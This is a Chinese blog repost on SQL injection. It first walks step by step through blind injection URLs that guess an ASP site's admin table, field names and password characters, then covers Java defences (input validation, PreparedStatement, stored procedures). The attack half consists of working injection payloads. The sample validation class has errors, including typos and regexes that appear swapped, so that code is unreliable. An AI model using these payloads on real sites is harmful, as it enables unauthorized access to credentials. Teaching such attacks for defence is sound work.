Web安全，SQL注入与防范

以下内容转自：http://leves.iteye.com/blog/353842

 

 

举例一个来自网上的典型sql注入的过程分析：    

　　如： 打开：http://hostlocal/test2/list.asp?id=17在其后面加＇为http://hostlocal/test2/list.asp?id=17＇
出错！显示为：“数据库出错”。那么接下来我们便进行如下操作：

1 猜管理员帐号表。
2 猜相应表中的用户的字段名以及密码的字段名。
3 猜出用户名的长度和密码的长度
4 猜出用户和密码
5 找到管理页面进入管理

　　猜管理员的表：                            

　　http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin)＇//min(id)返回表中ID最小值

　　返回文章证明，有一个admin的表；如果没有返回文章，证明出错不存在admin这个表。
    
　　猜用户的字段名：

　　http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where user=＇aaa＇)返回错误信息，表示没有user这个用户段名
再来！~~~http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where username=＇aaa＇)
没有返回错误信息，又没有返回文章，提示找不到文章。证明在admin中存在username个字段，只是用户名不是aaa

　　猜密码的字段名：

　　http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where passwd=＇aaa＇)返回错误信息表示没有passwd这个密码字段名。                        

　　再来：http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where password=aaa＇)没有返回错误信息，又没有返回文章，提示找不到文章。证明在admin中存在password这个字段，只是密码不是aaa

　　猜用户字段名长度：                          

　　http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)

　　>5)                                                             

　　正确
　　http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)<10)

　　正确
　　用户名长度大于5小于10
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)

=7)                                                              

　　呵``` 用户名长度为7位

　　猜密码长度：

　　http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)>5)
正确
　　http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)<10)
正确
密码长度也是大于5小于10
　　http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)=7)
呵``` 密码长度为7位

　　猜用户名：

  http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,1,1)=＇a＇)

　　用户名第一个字母是：a                                                          

　　猜用户名第二位:http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,2,1)=＇b＇)                                             

　　以此类推！

　　猜密码：                                                                       

　　猜密码跟猜用户名一样！

　　http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(password,1,1)=＇a＇) 
　　猜完后来到管理页面：
http://hostlocal/test2/admin.asp

　　登录


接来来讲述如何防范基于java web开发平台的sql注入防范

一、编写数据验证类

parameterCheck.java  
   
public class parameterCheck{ 
     String emailregex="[’\\w_-]+(\\. [’\\w_-]+)*@[’\\w_-]+(\\.[’\\w_-]+)*\\.[a-zA-Z]{2，4}";
     String intregex="^(\\d{5}-\\d{4})| (\\d{5})$";
     Stirng zipregex="^-[0-9]+$|^[0-9] +$"; 

    public static Boolean isEmail(string emailString){ 
        return java.util.regex.Pattern.compile(emailregex).matcher(emailString).matches();

    } 
    public static boolean isInt(string intString){ 
         return java.util.regex.Pattern.compile(intregex).matcher(intString).matches();
    } 
    public static boolean isZip(string zipString){ 
         return java.util.regex.Pattern.compile(zipregex).matcher(zipString).matches();    } 
}

注：
三种regex 匹配方法 其中public boolean matches(String regex) 此方法调用的 str.matches(regex) 形式与第二种表达式产生完全相同的结果
如果要多次使用一种模式，第三种方法编译一次后重用此模式比每次都调用此方法效率更高。
1.public Boolean java.lang.String.matchs(String regex);

2.public Boolean java.util.regex.Pattern.matches(regex, input);

3.public Boolean java.util.regex.Pattern.compile(regex).matcher(input).matches()


二、始终使用预编译preparedStatement 代替 statement
PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES
                                     SET SALARY = ? WHERE ID = ?");
   pstmt.setBigDecimal(1, 153833.00)
   pstmt.setInt(2, 110592)

预编译首先从名字上就知道提高了程序的执行性能，同时在代码上提高了可读性，最重要的是
在安全性上

三、 使用存储过程
存储过程是数据库端的，经过预编译的过程，在安全性上主要对是一些使用运算符（如 AND 或 OR）将命令附加到有效输入参数值的攻击。在应用程序受到攻击时，存储过程还可以隐藏业务规则的实现。


JDBC API 提供了一个存储过程 SQL 转义语法，该语法允许对所有 RDBMS 使用标准方式调用存储过程。
public interface CallableStatement extends PreparedStatement

无返回结果的过程语法：
    {call 过程名[(?, ?, ...)]}
　　
返回结果参数的过程的语法为：
　　
　　{? = call 过程名[(?, ?, ...)]}
　　
不带参数的已储存过程的语法类似：
　　
　　{call 过程名}